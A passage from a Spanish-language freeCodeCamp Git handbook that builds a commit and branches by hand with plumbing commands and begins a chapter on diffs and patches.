hasta <code>FF</code>). Luego, buscaría dentro de ese directorio, acortando la búsqueda a medida que continúa.</p><p>De vuelta al proceso de generar una confirmación. Has creado un objeto solamente. ¿Cuál es el tipo de ese objeto? Puedes usar otro comando de plomería, <code>git cat-file -t</code> (<code>-t</code> significa "type" - "tipo"), para verificar eso:</p><figure class="kg-card kg-image-card kg-width-wide kg-card-hascaption"><img src="https://www.freecodecamp.org/news/content/images/2023/12/cat_file_t_blob.png" class="kg-image" alt="Using  reveals the type of the Git object" width="600" height="400" loading="lazy"><figcaption>Using <code style="box-sizing: inherit; margin: 0px; padding: 0px 5px 2px; border: 0px; font-style: inherit; font-variant: inherit; font-weight: 400 !important; font-stretch: inherit; line-height: 1em; font-family: &quot;Roboto Mono&quot;, monospace; font-optical-sizing: inherit; font-kerning: inherit; font-feature-settings: inherit; font-variation-settings: inherit; font-size: 0.8em; vertical-align: baseline; background: var(--gray15);">git cat-file -t &lt;object_sha&gt;</code> reveals the type of the Git object</figcaption></figure><p>No sorprendentemente, este objeto es un blob. También puedes usar <code>git cat-file -p</code> (<code>-p</code> significa "pretty-print" - "imprimir-bonito") para ver su contenido:</p><figure class="kg-card kg-image-card kg-width-wide kg-card-hascaption"><img src="https://www.freecodecamp.org/news/content/images/2023/12/cat_file_p_blob.png" class="kg-image" alt="cat_file_p_blob" width="600" height="400" loading="lazy"><figcaption><code style="box-sizing: inherit; margin: 0px; padding: 0px 5px 2px; border: 0px; font-style: inherit; font-variant: inherit; font-weight: 400 !important; font-stretch: inherit; line-height: 1em; font-family: &quot;Roboto Mono&quot;, monospace; font-optical-sizing: inherit; font-kerning: inherit; font-feature-settings: inherit; font-variation-settings: inherit; font-size: 0.8em; vertical-align: baseline; background: var(--gray15);">git cat-file -p</code></figcaption></figure><p>Este proceso de crear un objeto blob como <code>.git/objects</code> usualmente sucede cuando agregas algo al área de preparación – eso es, cuando usas <code>git add</code>. Así que los blobs no son creados cada vez que guardes un archivo al sistema de archivos (el directorio de trabajo), sino solamente cuando lo pongas en el área de preparación.</p><p>Recuerda que Git crea un blob del archivo <em>entero</em> que se pone en el área de preparación. Inclusive si un solo caracter es modificado o agregado, el archivo tiene un nuevo blob con un nuevo hash (como en el ejemplo del <a href="#cap-1">capítulo 1</a> donde agregaste <code>!</code> al final de la línea).</p><p>¿Habrá algún cambio a <code>git status</code>?</p><figure class="kg-card kg-image-card kg-width-wide kg-card-hascaption"><img src="https://www.freecodecamp.org/news/content/images/2023/12/git_status_after_blob.png" class="kg-image" alt=" after creating a blob object" width="600" height="400" loading="lazy"><figcaption><code style="box-sizing: inherit; margin: 0px; padding: 0px 5px 2px; border: 0px; font-style: inherit; font-variant: inherit; font-weight: 400 !important; font-stretch: inherit; line-height: 1em; font-family: &quot;Roboto Mono&quot;, monospace; font-optical-sizing: inherit; font-kerning: inherit; font-feature-settings: inherit; font-variation-settings: inherit; font-size: 0.8em; vertical-align: baseline; background: var(--gray15);">git status</code> after creating a blob object</figcaption></figure><p>Aparentemente, no. Agregar un objeto blob a la base de datos interno de Git no cambia el estado, ya que Git no sabe de ningún archivo con seguimiento (o sin seguimiento) en esta área de preparación.</p><p>Necesitas rastrear este archivo – agregarlo al área de preparación. Para hacer eso, puedes usar otro comando de plomería, <code>git update-index</code>, así:</p><pre><code class="language-bash">git update-index --add --cacheinfo 100644 &lt;blob-hash&gt; &lt;filename&gt;
</code></pre><p><strong>Nota</strong>: El <code>cacheinfo</code> es un modo de archivo de 16-bits almacenado por Git, siguiendo el diseño de los tipos y modos de POSIX. Esto no está dentro del enfoque de este libro, ya que no es realmente importante para que hagas las cosas.</p><p>Ejecutar el comando de arriba resultará en un cambio al contenido de <code>.git</code>:</p><figure class="kg-card kg-image-card kg-width-wide kg-card-hascaption"><img src="https://www.freecodecamp.org/news/content/images/2023/12/update_index.png" class="kg-image" alt="The state of  after updating the index" width="600" height="400" loading="lazy"><figcaption>The state of <code style="box-sizing: inherit; margin: 0px; padding: 0px 5px 2px; border: 0px; font-style: inherit; font-variant: inherit; font-weight: 400 !important; font-stretch: inherit; line-height: 1em; font-family: &quot;Roboto Mono&quot;, monospace; font-optical-sizing: inherit; font-kerning: inherit; font-feature-settings: inherit; font-variation-settings: inherit; font-size: 0.8em; vertical-align: baseline; background: var(--gray15);">.git</code> after updating the index</figcaption></figure><p>¿Puedes encontrar el cambio? Un nuevo archivo con el nombre de <code>index</code> ha sido creado. Eso es todo – el famoso índice (o área de preparación), es básicamente un archivo que reside dentro de <code>.git/index</code>.</p><p>Así que ahora que tu blob ha sido agregado al índice, ¿esperas que <code>git status</code> luzca diferente?</p><figure class="kg-card kg-image-card kg-width-wide kg-card-hascaption"><img src="https://www.freecodecamp.org/news/content/images/2023/12/git_status_after_update_index.png" class="kg-image" alt=" after using " width="600" height="400" loading="lazy"><figcaption>`git status` after using <code style="box-sizing: inherit; margin: 0px; padding: 0px 5px 2px; border: 0px; font-style: inherit; font-variant: inherit; font-weight: 400 !important; font-stretch: inherit; line-height: 1em; font-family: &quot;Roboto Mono&quot;, monospace; font-optical-sizing: inherit; font-kerning: inherit; font-feature-settings: inherit; font-variation-settings: inherit; font-size: 0.8em; vertical-align: baseline; background: var(--gray15);">git update-index</code></figcaption></figure><p>¡Eso es interesante! Dos cosas pasaron aquí.</p><p>Primero, puedes ver que <code>awesome.txt</code> aparece en <em>verde</em>, en el área "Changes to be committed" ("Cambios a ser confirmados"). Eso es así porque el índice ahora incluye a <code>awesome.txt</code>, esperando a ser confirmado.</p><p>Segundo, podemos ver que <code>awesome.txt</code> aparece en <em>rojo</em> – porque Git cree que el archivo <code>awesome.txt</code> ha sido eliminado, y el hecho que el archivo ha sido eliminado sino que no está en el área de preparación.</p><p>(Nota: te habrás dado cuenta que a veces me refiero a Git con palabras tales como "cree", "piensa", o "quiere". Como expliqué en la <a href="#intro">introducción de este libro</a> - para que disfrutemos jugando con Git, y leer (y escribir) este libro, siento que referirse a Git más que sólo código lo hace mucho más divertido.)</p><p>Esto sucede ya que agregaste el blob con el contenido <code>Git is awesome</code> a la base de datos de los objetos, y actualizaste el índice que el archivo <code>awesome.txt</code> retiene el contenido de ese blob, pero en realidad nunca creaste ese archivo en el disco.</p><p>Fácilmente puedes resolver esto tomando el contenido de ese blob y escribirlo a nuestro sistema de archivos, a un archivo llamado <code>awesome.txt</code>:</p><pre><code class="language-bash">echo "Git is awesome" &gt; awesome.txt
</code></pre><p>Como resultado, ya no aparecerá en rojo por <code>git status</code>:</p><figure class="kg-card kg-image-card kg-width-wide kg-card-hascaption"><img src="https://www.freecodecamp.org/news/content/images/2023/12/git_status_after_creating_file_on_disk.png" class="kg-image" alt=" after creating  on disk" width="600" height="400" loading="lazy"><figcaption><code style="box-sizing: inherit; margin: 0px; padding: 0px 5px 2px; border: 0px; font-style: inherit; font-variant: inherit; font-weight: 400 !important; font-stretch: inherit; line-height: 1em; font-family: &quot;Roboto Mono&quot;, monospace; font-optical-sizing: inherit; font-kerning: inherit; font-feature-settings: inherit; font-variation-settings: inherit; font-size: 0.8em; vertical-align: baseline; background: var(--gray15);">git status</code> after creating <code style="box-sizing: inherit; margin: 0px; padding: 0px 5px 2px; border: 0px; font-style: inherit; font-variant: inherit; font-weight: 400 !important; font-stretch: inherit; line-height: 1em; font-family: &quot;Roboto Mono&quot;, monospace; font-optical-sizing: inherit; font-kerning: inherit; font-feature-settings: inherit; font-variation-settings: inherit; font-size: 0.8em; vertical-align: baseline; background: var(--gray15);">awesome.txt</code> on disk</figcaption></figure><p>Así que ahora es tiempo de crear un objeto de confirmación desde tu área de preparación. Como expliqué en el <a href="#cap-1">capítulo 1</a>, un objeto de confirmación tiene una referencia a un árbol, así que necesitas crear un árbol.</p><p>Puedes lograr esto usando el comando <code>git write-tree</code>, el cual registra los contenidos del índice en un objeto árbol. Por supuesto, puedes usar <code>git cat-file -t</code> para ver que en sí es un árbol:</p><figure class="kg-card kg-image-card kg-width-wide kg-card-hascaption"><img src="https://www.freecodecamp.org/news/content/images/2023/12/write_tree.png" class="kg-image" alt="Creating a tree object with the contents of the index" width="600" height="400" loading="lazy"><figcaption>Creating a tree object with the contents of the index</figcaption></figure><p>Y puedes usar <code>git cat-file -p</code> para ver su contenido:</p><figure class="kg-card kg-image-card kg-width-wide kg-card-hascaption"><img src="https://www.freecodecamp.org/news/content/images/2023/12/cat_file_p_tree.png" class="kg-image" alt=" to see the tree's contents" width="600" height="400" loading="lazy"><figcaption><code style="box-sizing: inherit; margin: 0px; padding: 0px 5px 2px; border: 0px; font-style: inherit; font-variant: inherit; font-weight: 400 !important; font-stretch: inherit; line-height: 1em; font-family: &quot;Roboto Mono&quot;, monospace; font-optical-sizing: inherit; font-kerning: inherit; font-feature-settings: inherit; font-variation-settings: inherit; font-size: 0.8em; vertical-align: baseline; background: var(--gray15);">git cat-file -p</code> to see the tree's contents</figcaption></figure><p>Genial, así que creaste un árbol, y ahora necesitas crear un objeto de confirmación que referencia a este árbol. Para hacer eso, puedes usar el comando:</p><pre><code class="language-bash">git commit-tree &lt;tree-hash&gt; -m &lt;commit message&gt;
</code></pre><figure class="kg-card kg-image-card kg-width-wide kg-card-hascaption"><img src="https://www.freecodecamp.org/news/content/images/2023/12/commit-tree.png" class="kg-image" alt="Committing using the tree object" width="600" height="400" loading="lazy"><figcaption>Committing using the tree object</figcaption></figure><p>Ahora deberías sentirte cómodo con los comandos usados para verificar el tipo de objeto creado, e imprimir su contenido:</p><figure class="kg-card kg-image-card kg-width-wide kg-card-hascaption"><img src="https://www.freecodecamp.org/news/content/images/2023/12/commit_object_cat_file.png" class="kg-image" alt="Creating a commit object" width="600" height="400" loading="lazy"><figcaption>Creating a commit object</figcaption></figure><p>Fíjate que este objeto de confirmación no tiene un padre, porque no es la primer confirmación. Cuando agregas otra confirmación probablemente querrás declarar su padre – no te preocupes, lo harás así más tarde.</p><p>El último hash que tuvimos – <code>b6d05ee40344ef5d53502539772086da14ad2b07</code> – es un hash de la confirmación. En realidad deberías estar acostumbrado en usar estos hashes – probablemente los ves todo el tiempo (cuando usas <code>git log</code>, por ejemplo). Fíjate que el objeto de confirmación apunta a un objeto de árbol, con su propio hash, el cual raramente especificas explícitamente.</p><p>¿Cambiará algo en <code>git status</code>?</p><figure class="kg-card kg-image-card kg-width-wide kg-card-hascaption"><img src="https://www.freecodecamp.org/news/content/images/2023/12/git_status_after_creating_commit_object.png" class="kg-image" alt=" after creating a commit object" width="600" height="400" loading="lazy"><figcaption><code style="box-sizing: inherit; margin: 0px; padding: 0px 5px 2px; border: 0px; font-style: inherit; font-variant: inherit; font-weight: 400 !important; font-stretch: inherit; line-height: 1em; font-family: &quot;Roboto Mono&quot;, monospace; font-optical-sizing: inherit; font-kerning: inherit; font-feature-settings: inherit; font-variation-settings: inherit; font-size: 0.8em; vertical-align: baseline; background: var(--gray15);">git status</code> after creating a commit object</figcaption></figure><p>No, nada ha cambiado. ¿Por qué es eso?</p><p>Bueno, para saber que tu archivo ha sido confirmado, Git necesita saber sobre la última confirmación. ¿Cómo sabe Git eso? Va al <code>HEAD</code>:</p><figure class="kg-card kg-image-card kg-width-wide kg-card-hascaption"><img src="https://www.freecodecamp.org/news/content/images/2023/12/looking_at_head_1.png" class="kg-image" alt="Looking at the contents of " width="600" height="400" loading="lazy"><figcaption>Looking at the contents of <code style="box-sizing: inherit; margin: 0px; padding: 0px 5px 2px; border: 0px; font-style: inherit; font-variant: inherit; font-weight: 400 !important; font-stretch: inherit; line-height: 1em; font-family: &quot;Roboto Mono&quot;, monospace; font-optical-sizing: inherit; font-kerning: inherit; font-feature-settings: inherit; font-variation-settings: inherit; font-size: 0.8em; vertical-align: baseline; background: var(--gray15);">HEAD</code></figcaption></figure><p><code>HEAD</code> apunta a <code>main</code>, pero, ¿qué es <code>main</code>? Aún no lo has creado.</p><p>Como explicamos en el <a href="#cap-2">capítulo 2</a>, una rama es simplemente una referencia nombrada a una confirmación. Y en este caso, nos gustaría que <code>main</code> se refiriera al objeto de confirmación con el hash <code>b6d05ee40344ef5d53502539772086da14ad2b07</code>.</p><p>Puedes lograr esto creando un archivo en <code>.git/refs/heads/main</code>, con el contenido de este hash, así:</p><figure class="kg-card kg-image-card kg-width-wide kg-card-hascaption"><img src="https://www.freecodecamp.org/news/content/images/2023/12/creating_main.png" class="kg-image" alt="Creating " width="600" height="400" loading="lazy"><figcaption>Creating <code style="box-sizing: inherit; margin: 0px; padding: 0px 5px 2px; border: 0px; font-style: inherit; font-variant: inherit; font-weight: 400 !important; font-stretch: inherit; line-height: 1em; font-family: &quot;Roboto Mono&quot;, monospace; font-optical-sizing: inherit; font-kerning: inherit; font-feature-settings: inherit; font-variation-settings: inherit; font-size: 0.8em; vertical-align: baseline; background: var(--gray15);">main</code></figcaption></figure><p>En resumen, una rama es sólo un archivo dentro de <code>.git/refs/heads</code>, que contiene un hash de la confirmación a la que se refiere.</p><p>Ahora, finalmente, <code>git status</code> y <code>git log</code> parecen apreciar nuestros esfuerzos:</p><figure class="kg-card kg-image-card kg-width-wide kg-card-hascaption"><img src="https://www.freecodecamp.org/news/content/images/2023/12/git_status_commit_1.png" class="kg-image" alt="git_status_commit_1" width="600" height="400" loading="lazy"><figcaption><code style="box-sizing: inherit; margin: 0px; padding: 0px 5px 2px; border: 0px; font-style: inherit; font-variant: inherit; font-weight: 400 !important; font-stretch: inherit; line-height: 1em; font-family: &quot;Roboto Mono&quot;, monospace; font-optical-sizing: inherit; font-kerning: inherit; font-feature-settings: inherit; font-variation-settings: inherit; font-size: 0.8em; vertical-align: baseline; background: var(--gray15);">git status</code></figcaption></figure><figure class="kg-card kg-image-card kg-width-wide kg-card-hascaption"><img src="https://www.freecodecamp.org/news/content/images/2023/12/git_log_commit_1.png" class="kg-image" alt="git_log_commit_1" width="600" height="400" loading="lazy"><figcaption><code style="box-sizing: inherit; margin: 0px; padding: 0px 5px 2px; border: 0px; font-style: inherit; font-variant: inherit; font-weight: 400 !important; font-stretch: inherit; line-height: 1em; font-family: &quot;Roboto Mono&quot;, monospace; font-optical-sizing: inherit; font-kerning: inherit; font-feature-settings: inherit; font-variation-settings: inherit; font-size: 0.8em; vertical-align: baseline; background: var(--gray15);">git log</code></figcaption></figure><p>¡Has creado con éxito una confirmación sin usar comandos de porcelana! ¿No es genial eso?</p><h3 id="recapitulaci-n-c-mo-crear-un-repo-desde-cero">Recapitulación - Cómo crear un repo desde cero</h3><p>En este capítulo, sin miedo te sumergiste en profundidad en Git. Paraste de usar comandos de porcelana y te cambiaste a los comandos de plomería.</p><p>Al usar echo y comandos de nivel bajo tales como <code>git hash-object</code>, fuiste capaz de crear un blob, agregarlo al índice, crear un árbol del índice, y crear un objeto de confirmación apuntando a ese árbol.</p><p>También aprendiste que <code>HEAD</code> es un archivo, localizado en <code>.git/HEAD</code>. Las ramas son archivos también, localizados en <code>.git/refs/heads</code>. Cuando entiendes cómo opera Git, esas nociones abstractas de <code>HEAD</code> o "ramas" se vuelven muy tangibles.</p><p>En el próximo capítulo profundizarás tu entendimiento de cómo trabajan las ramas por detrás.</p><!--kg-card-begin: html--><h2 id="cap-5">Capítulo 5 - Cómo trabajar con las ramas en Git – Por debajo</h2><!--kg-card-end: html--><p>En el capítulo anterior creaste un repositorio y una confirmación sin usar <code>git init</code>, <code>git add</code> o <code>git commit</code>. En este capítulo, crearemos y cambiaremos entre ramas sin usar comandos de porcelana (<code>git branch</code>, <code>git switch</code>, o <code>git checkout</code>).</p><p>Es perfectamente entendible si estás emocionado, ¡yo también lo estoy!</p><p>Continuando con lo del capítulo anterior - solamente tienes una rama, llamada <code>main</code>. Para crear otra con el nombre de <code>test</code> (como el equivalente de <code>git branch test</code>), necesitarías crear un archivo llamado <code>test</code> dentro de <code>.git/refs/heads</code>, y el contenido de ese archivo sería el mismo hash de la confirmación al que apunta la rama <code>main</code>.</p><figure class="kg-card kg-image-card kg-width-wide kg-card-hascaption"><img src="https://www.freecodecamp.org/news/content/images/2023/12/create_test_branch.png" class="kg-image" alt="Creating  branch" width="600" height="400" loading="lazy"><figcaption>Creating <code style="box-sizing: inherit; margin: 0px; padding: 0px 5px 2px; border: 0px; font-style: inherit; font-variant: inherit; font-weight: 400 !important; font-stretch: inherit; line-height: 1em; font-family: &quot;Roboto Mono&quot;, monospace; font-optical-sizing: inherit; font-kerning: inherit; font-feature-settings: inherit; font-variation-settings: inherit; font-size: 0.8em; vertical-align: baseline; background: var(--gray15);">test</code> branch</figcaption></figure><p>Si usas <code>git log</code>, puedes ver que esto en sí es el caso – ambos <code>main</code> y <code>test</code> apuntan a esta confirmación:</p><figure class="kg-card kg-image-card kg-width-wide kg-card-hascaption"><img src="https://www.freecodecamp.org/news/content/images/2023/12/git_log_after_creating_test_branch.png" class="kg-image" alt=" after creating  branch" width="600" height="400" loading="lazy"><figcaption><code style="box-sizing: inherit; margin: 0px; padding: 0px 5px 2px; border: 0px; font-style: inherit; font-variant: inherit; font-weight: 400 !important; font-stretch: inherit; line-height: 1em; font-family: &quot;Roboto Mono&quot;, monospace; font-optical-sizing: inherit; font-kerning: inherit; font-feature-settings: inherit; font-variation-settings: inherit; font-size: 0.8em; vertical-align: baseline; background: var(--gray15);">git log</code> after creating <code style="box-sizing: inherit; margin: 0px; padding: 0px 5px 2px; border: 0px; font-style: inherit; font-variant: inherit; font-weight: 400 !important; font-stretch: inherit; line-height: 1em; font-family: &quot;Roboto Mono&quot;, monospace; font-optical-sizing: inherit; font-kerning: inherit; font-feature-settings: inherit; font-variation-settings: inherit; font-size: 0.8em; vertical-align: baseline; background: var(--gray15);">test</code> branch</figcaption></figure><p>(Nota: si ejecutas este comando y no ves una salida válida, podrías haber escrito algo más que el hash de la confirmación en <code>.git/refs/heads/test</code>.)</p><p>Siguiente, cambiar a nuestra rama creada recientemente (el equivalente de <code>git checkout test</code>). ¿Cómo harías eso? Intenta responderte a ti mismo antes de que nos movamos al siguiente párrafo.</p><p>Para cambiar la rama activa, debería cambiar el <code>HEAD</code> a que apunte a tu nueva rama:</p><figure class="kg-card kg-image-card kg-width-wide kg-card-hascaption"><img src="https://www.freecodecamp.org/news/content/images/2023/12/change_head_to_test.png" class="kg-image" alt="Switching to branch  by changing " width="600" height="400" loading="lazy"><figcaption>Switching to branch <code style="box-sizing: inherit; margin: 0px; padding: 0px 5px 2px; border: 0px; font-style: inherit; font-variant: inherit; font-weight: 400 !important; font-stretch: inherit; line-height: 1em; font-family: &quot;Roboto Mono&quot;, monospace; font-optical-sizing: inherit; font-kerning: inherit; font-feature-settings: inherit; font-variation-settings: inherit; font-size: 0.8em; vertical-align: baseline; background: var(--gray15);">test</code> by changing <code style="box-sizing: inherit; margin: 0px; padding: 0px 5px 2px; border: 0px; font-style: inherit; font-variant: inherit; font-weight: 400 !important; font-stretch: inherit; line-height: 1em; font-family: &quot;Roboto Mono&quot;, monospace; font-optical-sizing: inherit; font-kerning: inherit; font-feature-settings: inherit; font-variation-settings: inherit; font-size: 0.8em; vertical-align: baseline; background: var(--gray15);">HEAD</code></figcaption></figure><p>Como puedes ver, <code>git status</code> confirma que <code>HEAD</code> ahora apunta a <code>test</code>, el cual es, por lo tanto, la rama activa.</p><p>Ahora puedes usar los comandos que ya has usado en el capítulo anterior para crear otro archivo y agregarlo al índice:</p><figure class="kg-card kg-image-card kg-width-wide kg-card-hascaption"><img src="https://www.freecodecamp.org/news/content/images/2023/12/writing_another_file.png" class="kg-image" alt="Writing and staging another file" width="600" height="400" loading="lazy"><figcaption>Writing and staging another file</figcaption></figure><p>Siguiendo los comandos de arriba, tu:</p><ul><li>Creas un blob con el contenido de <code>Another file</code> (usando <code>git hash-object</code>).</li><li>Agregas al índice con el nombre de <code>another_file.txt</code> (usando <code>git update-index</code>).</li><li>Creas un archivo correspondiente en el disco con el contenido del blob (usando <code>git cat-file -p</code>).</li><li>Creas un objeto árbol representando al índice (usando <code>git write-tree</code>).</li></ul><p>Ahora es tiempo de crear una confirmación que referencie a este árbol. Esta vez, también deberías especificar el padre de esta confirmación – el cual debería ser la confirmación anterior. Especificas el padre usando el argumento <code>-p</code> de <code>git commit-tree</code>:</p><figure class="kg-card kg-image-card kg-width-wide kg-card-hascaption"><img src="https://www.freecodecamp.org/news/content/images/2023/12/commit_2.png" class="kg-image" alt="Creating another commit object" width="600" height="400" loading="lazy"><figcaption>Creating another commit object</figcaption></figure><p>Hemos creado una confirmación, con un árbol así también como un padre, como puedes ver:</p><figure class="kg-card kg-image-card kg-width-wide kg-card-hascaption"><img src="https://www.freecodecamp.org/news/content/images/2023/12/cat_file_commit_2.png" class="kg-image" alt="Observing the new commit object" width="600" height="400" loading="lazy"><figcaption>Observing the new commit object</figcaption></figure><p>¿<code>git log</code> nos mostrará la nueva confirmación?</p><figure class="kg-card kg-image-card kg-width-wide kg-card-hascaption"><img src="https://www.freecodecamp.org/news/content/images/2023/12/git_log_after_creating_commit_2.png" class="kg-image" alt=" after creating &quot;Commit 2&quot;" width="600" height="400" loading="lazy"><figcaption><code style="box-sizing: inherit; margin: 0px; padding: 0px 5px 2px; border: 0px; font-style: inherit; font-variant: inherit; font-weight: 400 !important; font-stretch: inherit; line-height: 1em; font-family: &quot;Roboto Mono&quot;, monospace; font-optical-sizing: inherit; font-kerning: inherit; font-feature-settings: inherit; font-variation-settings: inherit; font-size: 0.8em; vertical-align: baseline; background: var(--gray15);">git log</code> after creating "Commit 2"</figcaption></figure><p>Como puedes ver, <code>git log</code> no nos muestra nada nuevo. ¿Por qué es eso?</p><p>Recuerda que <code>git log</code> rastrea las ramas para encontrar confirmaciones relevantes para mostrar. Nos muestra ahora <code>test</code> y la confirmación a la que apunta, y también nos muestra a <code>main</code> el cual apunta a la misma confirmación.</p><p>Así es – necesitas hacer que <code>test</code> apunte al nuevo objeto de confirmación. Puedes hacer eso cambiando el contenido de <code>.git/refs/heads/test</code>:</p><pre><code class="language-bash">echo 22267a945af8fde78b62ee7f705bbecfdd276b3d &gt; .git/refs/heads/test
</code></pre><p>Y ahora si ejecutas <code>git log</code>:</p><figure class="kg-card kg-image-card kg-width-wide kg-card-hascaption"><img src="https://www.freecodecamp.org/news/content/images/2023/12/git_log_after_updating_test_branch.png" class="kg-image" alt=" after updating  branch" width="600" height="400" loading="lazy"><figcaption><code style="box-sizing: inherit; margin: 0px; padding: 0px 5px 2px; border: 0px; font-style: inherit; font-variant: inherit; font-weight: 400 !important; font-stretch: inherit; line-height: 1em; font-family: &quot;Roboto Mono&quot;, monospace; font-optical-sizing: inherit; font-kerning: inherit; font-feature-settings: inherit; font-variation-settings: inherit; font-size: 0.8em; vertical-align: baseline; background: var(--gray15);">git log</code> after updating <code style="box-sizing: inherit; margin: 0px; padding: 0px 5px 2px; border: 0px; font-style: inherit; font-variant: inherit; font-weight: 400 !important; font-stretch: inherit; line-height: 1em; font-family: &quot;Roboto Mono&quot;, monospace; font-optical-sizing: inherit; font-kerning: inherit; font-feature-settings: inherit; font-variation-settings: inherit; font-size: 0.8em; vertical-align: baseline; background: var(--gray15);">test</code> branch</figcaption></figure><p>¡Funcionó!</p><p><code>git log</code> va al <code>HEAD</code>, el cual le dice a Git que vaya a la rama <code>test</code>, el cual apunta a la confirmación <code>222..3d</code>, el cual se enlaza a su confirmación padre <code>b6d..07</code>.</p><p>Admira la belleza de Git 😊</p><p>Al inspeccionar la carpeta de tu repositorio, puedes ver que tienes seis objetos distintos en la carpeta <code>.git/objects</code> - estos son los dos blobs que creaste (uno para <code>awesome.txt</code> y uno para <code>file.txt</code>), dos objetos de confirmación ("Commit 1" y "Commit 2"), y los tres objetos - cada uno apuntado por uno de los objetos de confirmación.</p><figure class="kg-card kg-image-card kg-width-wide kg-card-hascaption"><img src="https://www.freecodecamp.org/news/content/images/2023/12/tree_after_commit_2.png" class="kg-image" alt="The tree listing after creating &quot;Commit 2&quot;" width="600" height="400" loading="lazy"><figcaption>The tree listing after creating "Commit 2"</figcaption></figure><p>También tienes a <code>.git/HEAD</code> que apunta a la rama o confirmación activa, y dos ramas - dentro de <code>.git/refs/heads</code>.</p><h3 id="recapitulaci-n-c-mo-trabajar-con-las-ramas-en-git-por-debajo">Recapitulación - Cómo trabajar con las ramas en Git – Por debajo</h3><p>En este capítulo entendiste cómo trabajan realmente las ramas en Git.</p><p>Las cosas principales que cubrimos:</p><ul><li>Una rama es un archivo en la carpeta <code>.git/refs/heads</code>, donde el contenido del archivo es una valor SHA-1 de una confirmación.</li><li>Para crear una nueva rama, Git simplemente crea un nuevo archivo en la carpeta <code>.git/refs/heads</code> con el nombre de la rama - por ejemplo, <code>.git/refs/heads/my_branch</code> para la rama <code>my_branch</code>.</li><li>Para cambiar la rama activa, Git modifica el contenido de <code>.git/HEAD</code> para referirse a la nueva rama activa. <code>.git/HEAD</code> también podría apunta a un objeto de confirmación directamente.</li><li>Cuando se confirma usando <code>git commit</code>, Git crea un objeto de confirmación, y también mueve la rama actual (eso es, el contenido del archivo en <code>.git/refs/heads</code>) a que apunte al objeto de confirmación recientemente creado.</li></ul><h2 id="parte-1-resumen">Parte 1 - Resumen</h2><p>Esta parte te introdujo lo interno de Git. Empezamos cubriendo <a href="#cap-1">los objetos básicos – blobs, árboles, y confirmaciones</a>.</p><p>Aprendiste que un <strong>blob</strong> contiene el contenido de un archivo. Un <strong>árbol</strong> es un listado de directorios, conteniendo blobs y/o sub árboles. Una <strong>confirmación</strong> es una copia instantánea de nuestro directorio de trabajo, con algunos meta datos tales como el tiempo o el mensaje de confirmación.</p><p>Aprendiste sobre <a href="#cap-2">las ramas</a>, viendo que no son más que una referencia nombrada a una confirmación.</p><p>Aprendiste el proceso de <a href="#cap-3">registrar cambios en Git</a>, y que involucra el <strong>directorio de trabajo</strong>, un directorio que tiene un repositorio al que se asocia, el <strong>área de preparación (índice)</strong> el cual contiene el árbol para la próxima confirmación, y el <strong>repositorio</strong>, el cual es una colección de confirmaciones y referencias.</p><p>Clarificamos cómo estos términos se relacionan a los comandos de Git que conocemos al crear un nuevo repositorio y confirmando un archivo usando los comandos bien conocidos <code>git init</code>, <code>git add</code> y <code>git commit</code>.</p><p>Luego <a href="#cap-4">creaste un nuevo repositorio desde cero</a>, usando <code>echo</code> y comandos de bajo nivel tales como <code>git hash-object</code>. Creaste un blob, le agregaste al índice, creaste un objeto de árbol representando al índice, e inclusive creaste un objeto de confirmación apuntando a ese árbol.</p><p>También fuiste capaz de crear y cambiar entre ramas modificando los archivos directamente. ¡Felicitaciones para aquellos que lo intentaron por sí mismos!</p><p>Todo junto ya, después de seguirme en esta parte, deberías sentir que has profundizado tu entendimiento de lo que está pasando por debajo cuando trabajas con Git.</p><p>La próxima parte explorarás diferentes estrategias para integrar cambios cuando se trabaja en diferentes ramas en Git - específicamente, merge y rebase.</p><!--kg-card-begin: html--><h1 id="part-2">Parte 2 - Ramificando e Integrando Cambios</h1><!--kg-card-end: html--><!--kg-card-begin: html--><h2 id="cap-6">Capítulo 6 - Diffs y Parches</h2><!--kg-card-end: html--><p>En la parte 1 aprendiste cómo funciona Git por detrás, los diferentes objetos de Git, y cómo crear un repo desde cero.</p><p>Cuando los equipos trabajan con Git, introducen secuencias de cambios, usualmente en ramas, y luego necesitan combinar diferente historiales de cambios juntos. Para realmente entender cómo se logra esto, deberías aprender cómo trata Git a los diffs y a los parches. Luego aplicarás tus conocimientos para entender el proceso de merge y rebase.</p><p>Muchos de los procesos interesantes de Git como fusión, rebasing, o inclusive confirmar están basados en los diffs y parches. Los desarrolladores trabajan con diffs todo el tiempo, estés usando Git directamente o basándote en la vista diff del IDE. En este capítulo, aprenderás cómo son los diffs y parches, su esctructura, y cómo aplicar parches.</p><p>Como recordatorio del <a href="#cap-1">capítulo de Objetos de Git</a>, una confirmación es una copia instantánea del árbol de trabajo en un cierto punto en el tiempo, además de algunos metadatos.</p><p>Aún así, es realmente difícil entender las confirmaciones individuales al mirar el árbol entero de trabajo. En sí, es más útil mirar cuán diferente es una confirmación de su confirmación padre, eso es, la diff entre estas confirmaciones.</p><p>Así que, ¿a qué me refiero cuando digo "diff"? Empecemos con algo de historia.</p><h3 id="la-historia-de-diff-de-git">La historia de diff de Git</h3><p>El <code>diff</code> de Git está basado en la utilidad diff de sistemas UNIX. <code>diff</code> fue desarrollado a principios de los '70 en el sistema operativo Unix. La primer versión lanzada se envió con la Quinta Edición de Unix en 1974.</p><p><code>git diff</code> es un comando que toma dos entradas, y calcula la diferencia entre ellos. Las entradas pueden ser confirmaciones, pero también archivos, e inclusive archivos que nunca han sido introducidos al repositorio.</p><figure class="kg-card kg-image-card kg-width-wide kg-card-hascaption"><img src="https://www.freecodecamp.org/news/content/images/2023/12/git_diff_definition.png" class="kg-image" alt="Git diff takes two inputs, which can be commits or files" width="600" height="400" loading="lazy"><figcaption>Git diff takes two inputs, which can be commits or files</figcaption></figure><p>Esto es importante - <code>git diff</code> calcula la <em>diferencia</em> entre dos cadenas, el cual la mayor de las veces llega a consistir en código, pero no necesariamente.</p><h3 id="tiempo-de-manos-a-la-obra">Tiempo de manos a la obra</h3><p>Como siempre, se te anima a que ejecutes los comandos tu mismo al leer este capítulo. A menos que se diga otra cosa, usaré el siguiente repositorio:</p><p><a href="https://github.com/Omerr/gitting_things_repo.git">https://github.com/Omerr/gitting_things_repo.git</a></p><p>Lo puedes clonar localmente y tener el mismo punto de comienzo que estoy usando para este capítulo.</p><p>Considera este archivo de texto corto en mi máquina, llamado <code>file.txt</code>, el cual consiste de 6 líneas:</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://www.freecodecamp.org/news/content/images/2023/12/file_txt_1.png" class="kg-image" alt=" consists of six lines" width="600" height="400" loading="lazy"><figcaption><code style="box-sizing: inherit; margin: 0px; padding: 0px 5px 2px; border: 0px; 